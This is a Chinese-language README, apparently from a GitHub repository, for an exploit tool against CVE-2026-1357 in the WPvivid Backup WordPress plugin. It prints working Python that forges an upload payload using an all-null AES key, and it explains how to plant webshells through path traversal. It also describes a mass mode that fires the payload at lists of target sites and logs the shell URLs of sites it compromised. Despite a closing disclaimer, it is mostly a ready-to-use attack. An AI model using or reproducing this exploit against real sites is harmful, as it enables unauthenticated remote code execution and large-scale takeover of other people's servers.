Nxploited/CVE-2026-1357
GitHub: Nxploited/CVE-2026-1357
针对WPvivid备份插件空密钥漏洞的概念验证工具,可未认证上传任意文件获取服务器远程代码执行权限。
Stars: 0 | Forks: 0
# 🧨 CVE-2026-1357 – WPvivid 空密钥漏洞利用工具 (`CVE-2026-1357.py`)
**Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123**
**漏洞类型:** 未认证任意文件上传 → 远程代码执行
**CVE:** `CVE-2026-1357` – **CVSS 9.8 (严重)**
**作者:** **Nxploited (Khaled Alenazi)**
**GitHub:** `https://github.com/Nxploited`
**Telegram:** [`@KNxploited`](https://t.me/KNxploited)
## 🧬 脚本功能
",
"offset": 0,
"data": "",
"file_size": ,
"md5": ""
}
- 它序列化此 JSON(紧凑形式,无空格)。
- 它使用以下方式加密 JSON:
- `AES-128-CBC`
- `key = b"\x00" * 16`
- `iv = b"\x00" * 16`
- 然后它添加前缀:
- 3 字节:`"000"`(静态长度字段占位符)。
- 16 字节大写十六进制:密文长度编码为 `"{len(cipher):016X}"`。
- 最终的加密 blob 为:
"000" + <16字节密文长度十六进制> + <原始 AES-CBC 密文>
- 此 blob 进行 base64 编码并作为最终的 `wpvivid_content` 值返回。
函数:
```
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
```
这与 RSA 解密失败后易受攻击代码路径中的 WPvivid 解密期望相匹配。
## 🧰 功能与模式
该脚本具有 **两种主要模式** 以及批量测试功能:
1. `mood1` – **Payload 生成器**
- 使用空密钥技巧生成有效的 `wpvivid_content` 值。
- 支持多种定义文件内容的方式。
- 可选针对目标列表启动 **批量测试器**。
2. `mood2` – **单目标测试器**
- 使用先前生成的 payload。
- **端到端** 测试 **单个** 目标:
- 发送 payload。
- 构建预期的结果文件 URL。
- 验证文件是否可访问。
3. **批量模式**(来自 `mood1`)
- 将选定的 payload 发送到列表文件中的 **多个目标**。
- 使用并发和进度条。
- 跟踪并记录成功的上传。
## 🚦 运行脚本
```
python3 CVE-2026-1357.py
```
您将看到一个带有横幅和模式选择的 **Rich-based UI**:
- `mood1` – Payload 生成器
- `mood2` – 单目标测试器
## 🧪 模式:mood1 – Payload 生成器
### 目的
- 创建一个 exploit payload(`wpvivid_content`),编码:
- 您希望 WPvivid 写入的 **文件路径/名称**。
- **文件内容**(shell、测试文件等)。
### 流程
1. **模式选择**
当提示时:
Choose mode (mood1/mood2) [mood1]:
按 `Enter`(默认为 `mood1`)或输入 `mood1`。
2. **目标文件名 / 路径**
系统会询问:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
示例:
- 要将文件放入 WPvivid 备份目录:
Nx_.php
- 要利用目录遍历(如果目标允许):
../../public_html/Nx_.php
该值进入 JSON payload 的 `name` 字段。
3. **内容输入模式**
脚本显示三种定义文件内容的方式:
- **模式 1**:单行内容。
- **模式 2**:多行内容(以 `EOF` 结束)。
- **模式 3**:从本地文件读取(例如 `shell.php`)。
提示:
Mode [1/2/3] [1]:
- **模式 1 – 单行**
Single line content:
输入示例:
EOF
- **模式 3 – 本地文件**
Local file path (e.g., shell.php):
脚本将整个文件读入 `file_bytes`。
4. **Payload 生成**
一旦捕获内容,脚本:
- 构建 JSON 对象。
- 使用空密钥 AES-CBC 加密。
- 包装二进制 blob。
- 进行 Base64 编码。
您将看到类似以下的输出:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
并且写入文件 `wpvivid_payload.txt`:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
### 可选:从 mood1 进入批量模式
生成 payload 后,脚本会询问:
```
Auto-send this payload to targets list (mass mode)? (y/N):
```
如果您回答 `y`,它将使用您刚刚创建的 payload 和文件名启动 **批量模式**。
## 🌐 批量模式 – 多目标测试
### 目的
- 获取 **单个 exploit payload** 并针对 **目标列表** 进行测试。
### 流程
1. **目标文件**
示例提示:
Targets list file (one URL per line):
文件的预期格式(例如 `targets.txt`):
https://site1.com
site2.com
http://site3.net
脚本将自动标准化基础 URL(在缺失处添加协议)。
2. **线程数**
Threads (concurrent sites) [5]:
控制并行处理多少个站点。
3. **单目标逻辑**
对于每个目标:
- 标准化 URL → `base_url`。
- 调用:
send_wpvivid_payload(base_url, payload)
它:
- 构建 `wpvivid_action=send_to_site` + `wpvivid_content=` POST。
- 通过具有调整连接池设置的新会话发送。
- 检查响应是否包含 `{"result":"success"}`(紧凑形式检查)。
- 如果认为上传成功:
- 构建 `shell_url` 为:
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
- 将其保存到 `Nx_.txt`。
- 尝试 `verify_written_file()`:
- 使用 GET 请求 `shell_url`。
- 如果 `status_code == 200`,标记为已验证。
- 如果发生任何错误:
- 脚本通过 `short_reason()` 分类原因:
- TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR。
4. **UI**
- Rich 进度条显示全局进度和已用时间。
- 每个站点打印:
- 成功时:`[OK] `。
- 错误时:`[FAIL] (reason: ...)`。
- 上传可能成功但验证失败时:`[!] Not verified (...)`。
## 🧪 模式:mood2 – 单目标测试器
### 目的
- 针对单个 **单个 URL** 使用现有的 payload(来自 `wpvivid_payload.txt` 或外部来源)并验证结果文件。
### 流程
1. **目标 URL**
提示:
Target base URL (e.g., https://site.com):
示例:
https://victim.com
脚本将其标准化为基础 URL,如:
https://victim.com
2. **文件名**
提示:
Expected file name (e.g., Nx_.php):
这是您 **期望** WPvivid 写入的名称/路径(与您在 payload 的 `name` 字段中编码的内容相匹配)。
3. **Payload 输入**
提示:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
- 如果您粘贴以 `wpvivid_content=...` 开头的完整行,它会去除前缀。
- 如果您只粘贴 base64,它会按原样使用。
4. **执行**
脚本:
- 发送带有 `wpvivid_action=send_to_site` + 您的 `wpvivid_content` 的 POST。
- 如果响应表明成功,它将构建:
/wp-content/wpvividbackups/
并打印带有该 URL 的 `[OK]`。
- 将成功的 URL 附加到 `Nx_.txt`。
- 尝试通过 `verify_written_file()` 进行验证并打印结果。
此模式非常适合对单个站点进行 **手动 / 实验室测试**,并精细控制 payload。
## 📁 输出文件
- **`wpvivid_payload.txt`**
- 在 `mood1` 中写入。
- 存储:
- `file_name=`
- `wpvivid_content=`
- **`Nx_.txt`**
- 由 `mood1`(批量模式)和 `mood2` 写入。
- 每行包含一个 **成功的文件 URL**,其中上传似乎已成功(并可选地进行了验证)。
## ⚠️ 免责声明
此工具 **仅** 旨在用于:
- 受控环境中的安全研究。
- 测试 **您拥有** 或 **有明确书面许可** 测试的系统。
- 验证 CVE-2026-1357 的修复和检测措施。
使用此脚本即表示您同意:
- 您有责任遵守所有适用法律。
- 您 **不会** 在未经适当授权的系统上使用它。
- 作者不承担因使用此工具而产生的任何误用、损害、法律问题或事件的责任。
**风险自负** 并 **仅用于合法的安全测试**。
## ✍️ 作者与联系
- **By:** `Nxploited` (Khaled Alenazi)
- **GitHub:** `https://github.com/Nxploited`
- **Telegram:** [`@KNxploited`](https://t.me/KNxploited)
有关更新、工具和安全研究内容,请关注 Telegram 频道:
👉 **[`@KNxploited`](https://t.me/KNxploited)**
标签:0day, AES空密钥, CISA项目, CVE-2026-1357, CVSS 9.8, Exploit, Migration Backup Staging, PHP Webshell, PoC, RCE, WordPress插件, WPvivid, 任意文件上传, 威胁模拟, 提示词注入, 无服务器架构, 暴力破解, 未授权访问, 编程工具, 网络信息收集, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞